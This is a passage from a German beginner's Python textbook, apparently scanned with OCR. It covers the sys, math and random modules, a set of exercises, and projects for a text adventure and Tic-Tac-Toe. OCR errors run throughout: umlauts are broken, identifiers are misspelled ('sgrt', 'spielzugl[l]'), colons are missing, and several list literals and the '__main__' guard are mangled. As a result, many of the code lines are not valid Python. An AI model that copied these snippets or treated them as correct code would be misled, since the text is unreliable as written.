aus:

2 zufallsdaten = os.urandom(16)

3 print(zufallsdaten)

Eine mogliche Ausgabe kdnnte folgendermalen aussehen:

b'\xe2\xd4\x10\xa9\xdb&\x8eC\x0b\x8a\xe0P%3="7"

Das Modul sys stellt uns Gber den Python-Interpreter Informationen in
Konstanten, Funktionen und Methoden zur Verfliigung. Mit dem Aufruf von

print (dir (sys))

wird eine Liste mit den Namen aller Funktionen, die das Modul sys

bereitstellt, ausgegeben. Uber den folgenden QR-Code gelangst du zur
offiziellen Dokumentation des sys-Moduls, in der die einzelnen

Funktionen im Detail erklart werden:

https://florian-dalwigk.com/python-einsteiger/sys_modul

Das Modul sys speichert unter anderem Werte, die beim Aufruf eines
Python-Programms lber die CMD mitgegeben werden, in einer Liste mit
dem Namen argv. Auf diese kdnnen wir direkt zugreifen. Das erste
Element der Liste mit dem Index O ist der Name der . py-Datei. Ob noch
weitere Elemente in argv enthalten sind, hangt von dem Benutzer ab, der


https://florian-dalwigk.com/python-einsteiger/sys_modul

das Programm aufruft.

Beispiel 11.3.2: Wir wollen ein Hallo-Welt-Programm schreiben, bei dem
der Benutzer seinen Namen direkt beim Aufruf der .py-Datei mitgeben
kann. Dafiir kann die Variable sys . argv genutzt werden. Unter Windows
wird an der ersten Position mit dem Index O der Name der .py-Datei
(ohne den vollen Pfad zur Datei) eingetragen. Um auf die Liste zugreifen
zu kénnen, bendtigen wir selbstverstandlich den Import sys:

hallo_welt.py

1 import sys

In einer i £-Anweisung prifen wir nun ab, ob mehr als ein Element in der
Liste vorhanden ist:

2 if len(sys.argv) > 1:

Wenn das der Fall ist, dann wurde ggf. der Name beim Programmstart
mitgegeben. Wir lesen also das Element mit dem Index 1 aus und lassen es

uns anzeigen:

3 name = sys.argv[1l]

4 print(f"Hallo {name}!")

Ansonsten wurde kein Wert beim Programmstart mitgegeben:

5 else:

6 print("Du hast keinen Namen genannt!")

Wenn ich moéchte, dass das Programm mich mit meinem Namen begrifit,
dann starte ich es wie folgt:

python hallo welt.py Florian

Die Ausgabe lautet dann:

Hallo Florian!



Das Modul math stellt uns eine Reihe von mathematischen Funktionen
und Konstanten zur Verfligung. Mit dem Aufruf von

print (dir (math))

wird eine Liste mit den Namen aller Funktionen, die das Modul math

bereitstellt, ausgegeben. Uber den folgenden QR-Code gelangst du zur
offiziellen Dokumentation des math-Moduls, in der die einzelnen
Funktionen im Detail erklart werden:

https://florian-dalwigk.com/python-einsteiger/math_modul

Eine haufig bendtigte Funktion aus diesem Modul ist sgrt. Wie der Name

bereits vermuten lasst, wird damit die Quadratwurzel einer Zahl berechnet.
Bisher haben wir daflir immer den * *-Operator zum Potenzieren mit dem

Exponenten 0. 5 verwendet.

Beispiel 11.3.3: Wir wollen die Quadratwurzel aus der Zahl 9 ziehen. Daflr
verwenden wir die Funktion sgrt, die als Parameter die Zahl erhalt, von
der die Quadratwurzel gezogen werden soll. Das Ergebnis kbnnen wir uns
in einer Variable speichern und anschliellend ausgeben. Zuvor miissen wir
aber naturlich noch das Modul math importieren:

1 import math
2 gquadratwurzel = math.sqgrt (9)

3 print (quadratwurzel)
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Die Ausgabe lautet dann wie folgt:

3.0

Wenn du versuchst, aus einer negativen Zahl die Quadratwurzel zu ziehen,
dann wird wie in der Mathematik im reellen Zahlenraum R ein Fehler

ausgeldst, namlich eine ValueError Exception:

ValueError: math domain error

Doch nicht nur Funktionen, sondern auch Konstanten wie etwa die
Kreiszahl  konnen Uber das math-Modul verwendet werden.

Beispiel 11.3.4: Wir wollen uns die Kreiszahl m ausgeben lassen. Wenn wir
uns das Modul math importieren, kdnnen wir auf die Konstante math.pi

zugreifen, die uns m auf 15 Nachkommastellen genau ausgibt:

1 import math
2 print (math.pi)

Die Ausgabe lautet wie folgt:

3.141592653589793

Das Modul random stellt uns eine Vielzahl an Funktionen bereit, mit
denen Zufallszahlen gezogen werden konnen. Mit dem Aufruf von

print (dir (random) )

wird eine Liste mit den Namen aller Funktionen ausgegeben, die das
Modul random bereitstellt. Uber den folgenden QR-Code gelangst du zur
offiziellen Dokumentation des random-Moduls, in der die Funktionen im
Detail erklart werden:
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Beispiel 11.3.5: Wir wollen eine Zufallszahl zwischen (inklusive) 1 und
(inklusive) 100 wirfeln. Dazu kénnen wir die Funktion randint des
Moduls random nutzen, die zwei Parameter erhalt, namlich die

kleinstmogliche und die grofitmogliche Zufallszahl, die gezogen werden
darf. Wir importieren also zuerst das Modul random und rufen dann die

Funktion randint mit den Werten 1 und 100 auf. Das Ergebnis wird
einer Variable zugewiesen und anschliefSend ausgegeben:

1 import random
2 zufallszahl = random.randint (1,100)
3 print(zufallszahl)

Die Ausgabe konnte dann wie folgt lauten:

12

Beispiel 11.3.6: Wir wollen eine gegebene Liste mit den Zahlen von 1
bis 10 zufallig durchmischen:

1 liste = [1,2,3,4,5,6,7,8,9,10]

Dafiir stellt das Modul random die Funktion shuffle zur Verfligung, die
als Parameter die Liste erhalt, deren Elemente durchgemischt werden
sollen. Die Veranderungen werden direkt auf der Liste durchgefihrt, d.
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h., es gibt keinen Riickgabewert. Wir importieren uns also random, rufen
die Funktion shuffle auf, Ubergeben ihr als Parameter die Liste und
lassen uns das durchgemischte Ergebnis anschliefSend anzeigen:

2 import random
3 random.shuffle(liste)
4 print (liste)

Die Ausgabe kdonnte dann bspw. wie folgt lauten:

11.4 Ubungsaufgaben

@ Was ist der Unterschied zwischen einer Bibliothek und einem Modul?

@ Berechne mithilfe einer Funktion aus der Standardbibliothek den
grofSten gemeinsamen Teiler der beiden Zahlen 112 und 220.

@ Suche in dem Modul os nach einer Funktion, mit der du den Namen

des aktuell am Rechner angemeldeten Nutzers ausgeben kannst. Schreibe
anschlieRend ein Programm, das den Nutzer wie in einem Hallo-Welt-
Programm mit dem Nutzernamen begrif3t.

@ Suche in dem Modul sys nach einer Variable, in der die aktuell
verwendete Version des Python-Interpreters gespeichert ist. Gib diese
Versionsnummer mithilfe des Python-Interpreters aus.

@ Suche in der Standardbibliothek eine Funktion, mit der du dir das
aktuelle Datum samt Uhrzeit anzeigen lassen kannst. Gib das Ergebnis in
der folgenden Form aus:

Tag.Monat.Jahr Stunde:Minute:Sekunde

@ Suche nach einer Funktion in der Python-Standardbibliothek, mit der
du aus einer Liste mit den Zahlen von (inklusive) 1 bis (inklusive) 100



finf Zahlen zufallig auswahlen und ausgeben kannst.

In der folgenden Playlist findest du die Lésungen zu den Ubungsaufgaben
aus diesem Kapitel:

https://florian-dalwigk.com/python-einsteiger/1%C3%B6sungen_kapitel11
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12 Projektwerkstatt

Herzlich willkommen in der Projektwerkstatt, in der du dir endlich so richtig
die Finger schmutzig tippen kannst. Wenn Programmieren namlich von
einer Sache lebt, dann ist es die Praxis. Mein Professor fir
Softwareentwicklung pflegte stets zu sagen, dass man vom bloBen
Hinschauen bestenfalls zu einem Wald- und Wiesenprogrammierer werde,
der seinen Code zu 90 % aus dem Internet kopiert. Wenn man daran denkt,
wie wir Menschen eine neue Sprache lernen, klingt das durchaus plausibel.
Um bspw. eine Sprache wie Japanisch meistern zu kdnnen, muss man die
vier Fertigkeiten Horen, Sprechen, Lesen und Schreiben trainieren.
Ubertragen auf das Erlernen einer Programmiersprache reicht es also nicht
aus, Code in dieser Sprache nur zu lesen. Nein, man muss ihn auch selbst
schreiben. Damit ist picht das reine Abtippen, sondern die selbststandige
Umsetzung eigens erdachter Losungen fir ein bestimmtes Problem
gemeint.

Damit du in Zukunft statt im Wald in einer Softwareschmiede zu finden sein
wirst, werden wir in insgesamt zwolf spannenden Projekten das Wissen der
letzten elf Kapitel aktiv anwenden. Du wirst dabei unter anderem erfahren,
wie man mit Python E-Mails versenden, die eigene IBAN uberprifen,
Passworter knacken und Thumbnails von YouTube-Videos herunterladen
kann. Und wer weil3, vielleicht sagt gerade dein Lottozahlengenerator die
Lottozahlen fur den nachsten Samstag voraus.? Ich lade dich herzlich dazu
ein, dir zu Beginn eines jeden Projekts Gedanken dariiber zu machen, wie
du vorgehen wiirdest. Daflr hast du auch genug Zeit, da wir uns vor der
ersten Codezeile immer zuerst in die Planungsphase begeben, in der wir

LI die Idee von A bis Z durchsprechen und uns tberlegen,
[l welche Schritte zur Umsetzung Gberhaupt erforderlich sind.

Erst danach programmieren wir los. Den Code zu allen Projekten kannst du
dir hier herunterladen:
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Wundere dich bitte nicht, wenn ich bei meinen Erklarungen
Zeilennummern Uberspringe. Die Zeilennummern entsprechen namlich
denen der Code-Dateien, die du dir vorhin heruntergeladen hast. Doch
auch hier gilt: Selbermachen! Wenn du die Programme nur herunterladst
und ein paar Variablennamen anderst, hast du dadurch nichts gewonnen.
Wenn du allerdings die Programme erweiterst oder sie mit dem Wissen aus
Kapitel 14 absturzsicher machst, wirst du zu einem waschechten
Programmierer. Am Ende eines jeden Projekts gibt es anstelle einer
Aufgabe eine kleine Challenge, an der du dich versuchen und dadurch
wertvolle Programmierpraxis sammeln kannst.

12.1 Ein kleines Text-Adventure

Wie in der Einfliihrung dieser Projektwerkstatt versprochen, besprechen wir
zuerst einmal detailliert die Idee hinter diesem Projekt. Ich kann
selbstverstandlich nicht erwarten, dass jeder weild, was mit einem Text-
Adventure gemeint ist. Wenn du kein Kind der 80er bist, wirst du
wahrscheinlich nichts mit ,Zork” anfangen koénnen und kennst dieses
Spielegenre hdchstens aus der Serie ,,The Big Bang Theory*.

Bei einem Text-Adventure handelt es sich um ein rein textbasiertes
Abenteuer. Ja, du hast richtig gelesen. Statt schicker High-End-Grafik und
atemberaubender Musik erwartet dich Text ... viel Text. Es ist ein bisschen
wie ,,Pen & Paper”, nur dass der Computer ein stummer Spielleiter ist, der
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dich in Form textbasierter Nachrichten auf ein Abenteuer schickt. Um dir
einen kleinen Eindruck zu verschaffen, kannst du dir das folgende Let’s Play
des bereits angesprochenen Text-Adventures ,Zork” anschauen. Uberlege
dir dabei, was dieses Genre auszeichnet und welche Mechaniken von
Python wir nutzen kdnnen, um unser eigenes Zork zu programmieren:

https://florian-dalwigk.com/python-einsteiger/zork

Dieses Spiel erwartet Eingaben vom Spieler und reagiert dann darauf. Dem
Spieler stehen mehrere Handlungen zur Auswahl, die er durch die Wahl
eines geeigneten Wortes aktivieren kann. Mit der Eingabe inventar
kann man sich bspw. anschauen, was man in seinen Handen halt bzw.
welche Gegenstande man mit sich flhrt. Der Spieler bewegt sich innerhalb
einer vorgegebenen Geschichte, in der bestimmte Handlungsstrange zum
Ziel fuhren. Zur Entwicklung eines eigenen kleinen Text-Adventures, das
diesem Vorbild folgt, gehen wir also folgendermaRen vor:

1. Wir denken uns eine Geschichte mit einem oder mehreren Kapiteln aus,
2. Uberlegen uns mogliche Aktionen, die ein Spieler ausfiihren kann und
3. programmieren alle denkbaren Abzweigungen.

Abzweigungen? Das klingt doch nach if-Anweisungen. Richtig! 1if-
Anweisungen sind der Kern eines Text-Adventures, denn letztendlich kann
man sich ein solches Spiel als sehr tiefe Verschachtelung von if-, elif-
und else-Anweisungen vorstellen. Ich mochte mit dir zunachst ein
einfaches Text-Adventure mit wenigen Abzweigungen entwickeln, damit du
die allgemeine Vorgehensweise nachvollziehen und deiner eigenen
Fantasie freien Lauf lassen kannst.
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Unsere Geschichte beginnt am Rand eines dunklen Waldes, den es zu
durchqueren gilt. Dabei lauern einige Fallen und Gefahren auf den Helden
unserer Geschichte. Wir beginnen damit festzulegen, welche Aktionen ein
Spieler auswahlen kann. Wie bei ,Zork” sollen die moglichen Optionen
nicht vorgegeben, sondern vom Spieler selbst gefunden werden. Zum
Speichern verwenden wir Listen, da man in ihnen sehr schnell und
einfach die vom Benutzer stammenden Eingaben suchen kann. Flr unseren
Spielentwurf genligen Antworten auf Ja/Nein-Fragen und Richtungen, in
die man gehen kann:

3 ja nein = ["ja", "nein"]

4 richtungen = ["links", "rechts", "vorne", "hinten"]

Nun fragen wir den Namen des Spielers ab und speichern ihn in der
Variable name, um ihn im Spielverlauf direkt ansprechen zu kénnen. Das

verleiht dem Spiel eine personliche Note:

5 name = input ("Wie lautet dein Name, tapferer Recke? ")

Danach folgen einige Ausgaben, in denen die Geschichte kurz umrissen
wird:

6 print (f"Sei gegriBt, {name}. Lass uns starten!")
7 print ("Du befindest dich am Rande eines dunklen Waldes.")

8 print ("Kannst du ihn durchqueren?\n")

Jetzt definieren wir eine Variable antwort, in der die Antworten, die der
Spieler eintragt, gespeichert werden:

9 antwort = ""

Dann wollen wir diese Variable doch gleich mal verwenden. Unsere erste
Frage lautet, ob der Spieler den Wald, der vor ihm liegt, betreten mdéchte.
Die Eingabe des Spielers wird so lange in einer while-Schleife tiberprift,

bis sie entweder ja oder nein ist:



11 while antwort not in ja nein:

12 antwort = input ("Mochtest du den Wald betreten? ")

Auf die Frage folgt die erste Verzweigung. In einer if-Anweisung wird
gepriift, ob die Antwort ja oder nein ist. Wenn der Spieler mit ja
geantwortet hat, wird ihm mitgeteilt, dass er in den Wald geht:

13 if antwort == "ja":

14 print ("Du gehst in den Wald.\n")

Hat er die Frage jedoch verneint, wird ihm mitgeteilt, dass er noch nicht

bereit fur das Abenteuer ist und das Spiel bzw. das Programm wird mithilfe
der Funktion quit beendet:

15 elif antwort == "nein":
16 print (f"Du bist wohl noch nicht bereit, {name}! Bis bald!")
17 quit ()

Beachte, dass hier mit e11if explizit auf die Antwort nein gepruft wird.
Ein einfaches else hatte nicht genligt, da der Spieler auch mit
natirlich hatte antworten konnen, was inhaltlich einem Ja,
programmatisch jedoch einem nein entsprochen hatte. Der el se-Zweig
kommt wirklich nur fir alle nicht vorgesehenen Antworten infrage:

18 else:

19 print("Sorry, das habe ich nicht verstanden.\n")

Die Variable antwort wird jetzt geléscht, um sie fir eine neue Antwort
empfanglich zu machen:

20 antwort = ""

Nun folgt der nachste Teil der Geschichte, indem sich der Spieler fir eine
Richtung entscheiden muss. Abermals wird in einer while-Schleife
geprift, ob eine der vier moéglichen Richtungen ausgewahlt wurde. Wir
warnen den Spieler zudem vor, was er bei den jeweiligen Entscheidungen



zu erwarten hat:

22 while antwort not in richtungen:
23 print ("Links befindet sich ein Wolf.")
24 print ("Rechts geht es tiefer in den Wald hinein.")
25 print ("Direkt vor dir befindet sich eine Felswand.")
26 print("Hinter dir ist der Ausgang des Waldes.\n")

27 antwort = input ("In welche Richtung gehst du? ")

Als Nachstes programmieren wir die Auswirkungen, die die Entscheidung
des Spielers hat. Wenn er sich fir die Option 1inks entscheidet, dann
wird er dem Wolf begegnen:

28 1f antwort == "links":

Das soll aber nicht automatisch einem Todesurteil gleichkommen @ wir
sind schlieBlich keine Unmenschen. Nein, der Spieler soll eine halbwegs
faire Chance bekommen, den Wolf zu besiegen bzw. einen Kampf mit ihm
zu Uberleben. Zuerst fragen wir aber den Spieler, ob er lGiberhaupt kimpfen
mochte. Das machen wir so lange, bis er entweder ja oder nein
antwortet:

29 while antwort not in ja nein:

30 antwort = input ("Vor dir steht ein Wolf! Kampfen? ")

Lautet die Antwort ja, kommt es zum Kampf:

31 if antwort == "ja"

Da man in unserem Text-Adventure seinen Charakter nicht leveln?* kann,
machen wir den Ausgang des Kampfes vom Zufall abhangig. Dafir
bendtigen wir einen Zufallszahlengenerator, den uns das Modul random

bereitstellt. Dieses wird auch noch in anderen Projekten, wie etwa dem
Lottozahlen-Generator (Kapitel 12.3) relevant. Da random ein Modul der

Standardbibliothek ist, missen wir sie uns nicht vorher via pip
installieren, sondern kénnen sie direkt mit dem import-Befehl einbinden:



1 import random

Mithilfe der Funktion uniform auf random, die uns einen zufalligen
Wert zwischen 0 und 1 liefert, lassen wir Python eine
Gewinnwahrscheinlichkeit ermitteln, die wir in der Variable chance
speichern:

32 chance = random.uniform (0, 1)

Da wir Menschen in einer Konfrontation mit einem Wolf ohne Waffen
wahrscheinlich unterlegen sind, wird der Wolf den Spieler mit einer
Wahrscheinlichkeit von ca. 60% fressen. Das kann durch die Bedingung

chance <= 0.6

ausgedriickt werden. Da bei uniform jede Zahl zwischen 0 und 1 gleich
wahrscheinlich auftritt, ist das Ergebnis zu 60 % kleiner als oder gleich 0. 6.

Dem Spieler wird dann mitgeteilt, dass er gefressen wurde und die
Funktion quit beendet das Programm:

33 1if chance <= 0.6:
34 print (f"Der Wolf frisst dich. Lebe wohl, {name}!")
35 quit()

Mit einer Wahrscheinlichkeit von 40% gewinnt der Spieler jedoch den
Kampf und findet das Ziel:

36 else:
37 print (f"Du besiegst den Wolf und findest das Ziel.")
38 quit()

Entscheidet sich der Spieler von Anfang an gegen einen Kampf, flieht er
erfolgreich vor dem Wolf und kann erneut eine Richtung auswahlen:

39 elif antwort == "nein":

40 print("Du fliehst erfolgreich vor einem Kampf.")



Geht der Spieler nach rechts, verlauft er sich im Wald und findet dort
auch sein Ende:

41 elif antwort == "rechts":
42 print ("Du gehst tiefer in den Wald und verldufst dich.\n")
43 quit ()

Entscheidet sich der Spieler dazu, nach vorne zu gehen, wird er vor einer

Felswand stehen. Auch hier hat er, wie bei der Begegnung mit dem Wolf,
zwei Optionen. Soll er die Wand hochkraxeln oder nicht?

44 elif antwort == "vorne":
45 while antwort not in ja nein:

46 antwort = input ("Mochtest du die Wand erklimmen? ")

Wenn er sich dazu entscheidet, lassen wir wieder den Zufall dariiber
entscheiden, ob er Erfolg hat:

47 1if antwort == "ja"

48 chance = random.uniform(0,1)

Da der Held unseres Spiels recht sportlich ist, wird er mit einer
Wahrscheinlichkeit von nur 40 % bei dem Versuch, die rutschige Felswand
zu erklimmen, herunterfallen und sterben:

49 if chance <= 0.4:
50 print("Du rutschst ab, fallst und stirbst."™)
51 quit ()

Andernfalls schafft er es nach oben und sieht den Waldausgang. Er muss
den restlichen Weg dann aber immer noch gehen, d. h., das Spiel ist noch
nicht beendet:

52 else:

53 print ("\nOben angekommen siehst du den Waldausgang.")

Die erneute Wahlmoglichkeit wird auch dann gewahrt, wenn der Spieler



nein ausgewahlt hat und die Felswand demnach nicht hochklettern
mochte:

54 else:
55 print (£"0Ok, {name}."™)

Die letzte Wahlmoglichkeit besteht darin, nach hinten zu gehen. Da

hinter dem Helden der Waldausgang liegt, kommt diese Option dem
Aufgeben gleich und das Spiel wird beendet:

56 elif antwort == "hinten":
57 print (f"Du verlasst den Wald. Tschau, {name}!")

58 quit ()

Wird keine der vorprogrammierten Antworten 1links, rechts, vorne
oder hinten gewahlt, teilen wir dem Spieler wie bei ,Zork” mit, dass

seine Eingabe nicht interpretiert werden konnte und die Schleife beginnt
aufgrund der Abbruchbedingung in Zeile 22 von Neuem:

59 else:

60 print("Sorry, das habe ich nicht verstanden.\n")

Challenge

Unser Spiel ist nlichtern betrachtet ziemlich unfair, oder? Vielleicht kann
die Challenge dieses Projekts etwas daran andern. Wie du dir denken
kannst, besteht sie darin, das Abenteuer zu erweitern. Trifft der Held in
deiner Geschichte moglicherweise auf andere Tiere wie etwa Flichse oder
Baren? Wird er im Moor versinken? Wird er einem Waldgeist begegnen?
Fragen Uber Fragen, die nur du beantworten kannst. Lasse deiner
Kreativitat freien Lauf und entwickle ein umfangreiches Abenteuer.
Womoglich mochtest du die Geschichte in einem ganzlich anderen Setting
spielen lassen. Die Welt von Arthur Conan Doyle soll bspw. sehr spannend
sein. Schaffe deine eigene Welt!



12.2 Tic-Tac-Toe

Tic-Tac-Toe ist womoglich eines der ersten Strategiespiele, das man in
seinem Leben spielt. Die Geschichte des Spiels reicht bis ins 12.
Jahrhundert vor Christus zurlick® und besticht vor allem durch seine
simplen Regeln:

[] Es gibt zwei Spieler (O und X), die gegeneinander spielen.

[] Das Spielfeld ist eine 3 x 3 — Matrix. Es gibt also drei Zeilen mit jeweils drei Spalten.

LI Die Spieler setzen abwechselnd ihre Steine auf das Spielfeld.

[] Gewonnen hat der Spieler, der als Erstes drei seiner Spielsteine in einer Zeile, einer Spalte oder
einer Diagonale platzieren kann. Deshalb wird dieses Spiel auch ,,Drei gewinnt“ genannt.

Um dieses Spiel in Python umzusetzen, sind folgende Schritte notwendig:

1. Wir brauchen eine Funktion, die das Spielfeld ausgeben kann, denn nur so kdnnen wir die
Auswirkungen der Spielerhandlungen beobachten.

2. Zudem ist eine Funktion erforderlich, die nach jedem Spielzug liberprift, ob schon einer der
Spieler gewonnen hat.

3. Um den Spielern das Spielen zu ermdoglichen, missen sie programmatisch dazu in die Lage
versetzt werden. Hierflir bedarf es einer Funktion, mit der ein Spieler seinen Spielstein auf das
Spielfeld legen kann. Diese Funktion soll auch in der Lage sein, ungiiltige Zlige zu erkennen.

Mit diesen Vorlberlegungen kdonnen wir jetzt in die Implementierung
einsteigen. Fir die Umsetzung unserer ersten Anforderung schreiben wir
eine Funktion anzeigen, die als Parameter ein Spielfeld erhalt:

1 def anzeigen(spielfeld):

Ein Spielfeld ist dabei eine mehrdimensionale L.iste bzw. Matrix, die aus
drei Listen mit jeweils drei Eintragen besteht:

38 spielfeld = [
39 VoV, 0T,
40 Do, 00,977,
41 00,0

42

[
[
[
]

Die Punkte innerhalb der .i sten bedeuten, dass hier noch kein Spielstein
gesetzt wurde. Die Eintrage selbst sind Strings, die im Laufe des Spiels
durch die Spielsteine O und X ersetzt werden.



Aber zurliick zu unserer Funktion zum Anzeigen des Spielfelds. Wir
definieren uns eine Variable ergebnis, die den String speichert, der
am Ende der Funktion ausgegeben wird:

2 ergebnis = "'

Wir laufen nun nacheinander die Zeilen und Spalten des Spielfelds ab und
speichern die Eintrage in der Variable ergebnis. Wie man einen

String erstellt, der die lesbare Darstellung einer Matrix enthalt, hast du
bereits in Aufgabe @ aus Kapitel 9.5.2 gesehen:

for spalte in spielfeld:

3

4 for zeile in spalte:
5 ergebnis += zeile

6

ergebnis += '\n'

Zum Schluss lassen wir uns noch das Ergebnis ausgeben:

7 print (ergebnis)

Im zweiten Schritt wagen wir uns nun an die Funktion mit der meisten
Logik in dem gesamten Projekt heran. Diese soll Gberprifen, ob in dem
gerade laufenden Spiel einer der beiden Kontrahenten bereits gewonnen
hat. Diese nennen wir passenderweise tiberpriifen und Ubergeben ihr
das Spielfeld:

9 def iberprifen (spiel) :

Wie Uberprift man, ob ein Spieler bereits gewonnen hat? Darliber gibt die
folgende Abbildung Aufschluss, die zeigt, welche Steine der Startspieler O
belegen muss, um zu gewinnen:
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Abbildung 12.2.1: Gewinnkonstellationen fir Spieler O

Die ersten drei Spielfelder zeigen, dass ein Spieler gewinnt, wenn in einer
der drei Reihen nur seine Spielsteine zu finden sind. Um das im Code
abzubilden, laufen wir in einer for-Schleife iber das Spielfeld und priifen
in jeder Zeile, ob die Zeile als Set nur ein Element enthalt:

10 for zeile in spiel:

11 if len(set(zeile)) == 1 and '.' not in zeile:

Moment, was steckt hinter dieser Bedingung? Wie du sicherlich noch
weilt, gibt es in einem Set keine Duplikate. Wenn das Set einer Zeile also
nur aus einem Element besteht, dann hat sich in der Zeile dreimal dasselbe
Element befunden, was gerade der Gewinnbedingung entspricht. Wie du
aber in den Zeilen 38 bis 42 gesehen hast, enthalten die Listen am
Anfang, also wenn noch kein Spieler einen Stein gesetzt hat, nur Punkte.
Unsere Bedingung wiirde dann ebenfalls zutreffen, doch zu diesem
Zeitpunkt hat noch kein Spieler gewonnen, da das Spiel nicht einmal richtig
begonnen hat. Deshalb prifen wir in der 1 £-Anweisung zusatzlich noch, ob
sich in der Zeile kein Punkt befindet. Wenn auch das zutrifft, dann geben
wir den Gewinner aus. Den dazu passenden Spielstein kdnnen wir an jeder
Stelle in der Zeile auslesen. AnschlieBend wird das Spiel beendet:

12 print (f"Spieler {zeile[0]} gewinnt!")
13 quit ()



Das ware geschafft. Ein Spieler hat aber auch gewonnen, wenn er es
bewerkstelligt wie auf den Spielfeldern 4 bis 6 in Abbildung_12.2.1:
Gewinnkonstellationen flr Spieler O eine komplette Spalte mit seinen
Spielsteinen zu fillen. Die Zeilen des Spielfelds auszulesen ist einfach, da
jede Zeile eine Liste ist. Fur die Spalten miissen wir aber in jede Liste
hineinschauen und die Ubereinanderstehenden Elemente miteinander
vergleichen. Wenn wir allerdings die Zeilen und Spalten tauschen, wiirden
wir dieselbe Ausgangslage wie zuvor erhalten. Das kannst du an der
folgenden Abbildung erkennen:

O OO | O

O | X X | X

O | X

vorher nachher

Abbildung 12.2.2: Tausch der Zeilen und Spalten des Spielfelds

Wir haben soeben einen Weg gefunden, mit dem wir die
Gewinnkonstellationen der Spielfelder 4 bis 6 in Abbildung_12.2.1:

Gewinnkonstellationen flr Spieler O auf die der Spielfelder 1 bis 3

zurtickfihren kénnen. Dieses Vertauschen von Zeilen und Spalten einer
Matrix bezeichnet man auch als ,Transponieren® In Python kann man das
wie folgt erreichen:

14 spalten = [list(e) for e in zip(*spiel)]

In dem folgenden Video wird erklart, wie man auf diesen Code kommt:



https://florian-dalwigk.com/python-einsteiger/transponieren_einer_matrix

Im Endeffekt gehen wir ab hier genau wie in den Zeilen 10 bis 13 vor:

15 for spalte in spalten:

16 if len(set(spalte)) == 1 and '.' not in spalte:
17 print(f"Spieler {spalte[0]} gewinnt!")

18 quit()

Auch wenn wir nun bereits sechs der insgesamt acht Gewinnszenarien
umgesetzt haben, sind wir noch nicht am Ende. Jetzt geht es namlich um
die Diagonalen. Beginnen wir mit der Hauptdiagonalen, die von oben links
nach unten rechts verlauft und auf Spielfeld 7 in Abbildung_12.2.1 zu
finden ist. Die Elemente dieser Diagonalen befinden sich an den Positionen
(0,0), (1,1) und (2,2). Zum Auslesen dieser Stellen genligt eine
einfache for-Schleife:

19 diagl = [spiel[i][i] for i range(3)]

Nun wandeln wir, wie bereits zuvor, die betrachtete Diagonale in ein Set

um und prifen, ob dieses nur ein Element enthalt, das kein Punkt ist. Den
Rest kennst du bereits:

20 if len(set(diagl)) == 1 and '.' not in diagl:
21 print (f"Spieler {diagl[0]} gewinnt!")
22 quit ()
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Nachdem wir die Hauptdiagonale abgefriihstiickt haben, geht es jetzt an
die Nebendiagonale, die von unten links nach oben rechts verlauft. Das
entspricht in Abbildung 12.2.1 Spielfeld 8. Wir bleiben selbstverstandlich
unserer Linie treu und lesen zuerst die Nebendiagonale aus. Dies erreichen
wir durch die folgende for-Schleife:

23 diag2 = [zeile[-i-1] for i,zeile in enumerate (spiel) ]

Da man sich die Idee hinter diesem Code am besten anhand einer kleinen
Animation vorstellen kann, empfehle ich dir das folgende Video:

https://florian-dalwigk.com/python-einsteiger/nebendiagonale_auslesen

Der Rest funktioniert wie gehabt:

24 if len(set(diag2)) == 1 and '.' not in diag2:
25 print (f"Spieler {diag2([0]} gewinnt!")
26 quit ()

Bisher haben wir uns immer Uber das Gewinnen unterhalten. Was ist aber,
wenn ein Spiel unentschieden ausgeht? Wie erkennen wir das? Ganz
einfach! Ein Spiel ist genau dann unentschieden ausgegangen, wenn jedes
Feld einen Spielstein enthalt und noch niemand gewonnen hat. D. h., es
darf kein Punkt in der Matrix vorhanden sein. Dazu addieren wir alle Zeilen
des Spielfelds zu einer und prifen, ob darin ein Punkt vorkommt. Trifft das
nicht zu, ist das Spiel unentschieden ausgegangen:
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27 if '.' not in spiel[0] + spiel[l] + spiel[2]:
28 print ("Unentschieden!")

29 quit ()

Ganz schon komplex, oder? Keine Sorge, ab jetzt wird es einfacher. Wir
definieren uns als Nachstes eine Funktion spielen, ohne die unser

Spielfeld unbefleckt bleiben wirde. Als Parameter Ubergeben wir den
Spieler (O oder X), das Spielfeld sowie eine x- und eine y-Koordinate:

31 def spielen(spieler, spiel, x, y):

Wie sind diese Koordinaten zu lesen? Mit der x-Koordinate wird die Zeile
und mit der y-Koordinate die Spalte adressiert. Begonnen wird dabei
jeweils beim Index 0. Die Zeilen werden von oben nach unten und die

Spalten von links nach rechts gelesen. Schaue dir zur Veranschaulichung
die folgende Abbildung an:

(0,0) (0,1) (0,2)
(1, r 1) (1,2)
(2, r 1) (2,2)

Abbildung 12.2.3: Koordinatenpaare (x, y) auf dem Tic-Tac-Toe-Spielfeld

Um ungiiltige Spielziige zu verhindern, wird so lange ein Koordinatenpaar
vom Spieler abgefragt, bis ein Spielfeld gewahlt wurde, das einen Punkt
enthadlt. Ansonsten ist das Spielfeld bereits belegt und kann nicht
Uberschrieben werden:

32 while spiel([x][y] != '.':
33 spielzug = input (f"Feld belegt! Nochmal! ")

Die Koordinaten sollen vom Spieler einfach direkt
hintereinandergeschrieben werden. Um also das Feld (0, 1) in der ersten
Reihe und der zweiten Spalte anzusprechen, gibt der Spieler 01 ein. Diese

Werte werden nun einzeln ausgelesen, in Ganzzahlen umgewandelt und
dann den Variablen fir die Koordinaten zugewiesen:



3 x, y = int(spielzug[0]), int(spielzug[l])

Zum Schluss der Funktion wird der Spieler in das ausgewahlte Feld auf dem
Spielfeld geschrieben. Der Spieler ist dabei entweder O oder X:

35 spiel[x][y] = spieler

Im Hauptprogramm werden nun alle Komponenten zusammengefiihrt.
Zuerst wird das Spielfeld definiert, ausgegeben und der Startspieler (hier O)
festgelegt:

37 if name == " main ":
38 spielfeld = |

39 L

40 59 %Y, ]
41 NP ]
42

[
[
[
]

43 anzeigen (spielfeld)
44 spieler = 'O'

Als Nachstes definieren wir eine Endlosschleife:

46 while True:

Innerhalb dieser Hauptereignisschleife wird der Spieler um Koordinaten
gebeten:

47 spielzug = input (f"Spieler {spieler}: ")

Nun werden die Koordinaten aus der Eingabe des Spielers ausgelesen und
gespielt:

48 x, y = int(spielzug[0]), int(spielzugl[l])
49 spielen(spieler, spielfeld, x, V)

Weil sich das Spielfeld geandert hat, wird es jetzt erneut ausgegeben und
Uberprift.



50 anzeigen (spielfeld)
51 {berpriifen (spielfeld)

Nach jedem erfolgreichen Spielzug wechseln sich die Spieler ab:

52 if spieler == 'O':

53 spieler = 'X'

54 elif spieler == 'X':

55 spieler = 'O
Challenge

Tic-Tac-Toe nur gegen sich selbst zu spielen ist doch langweilig, oder?
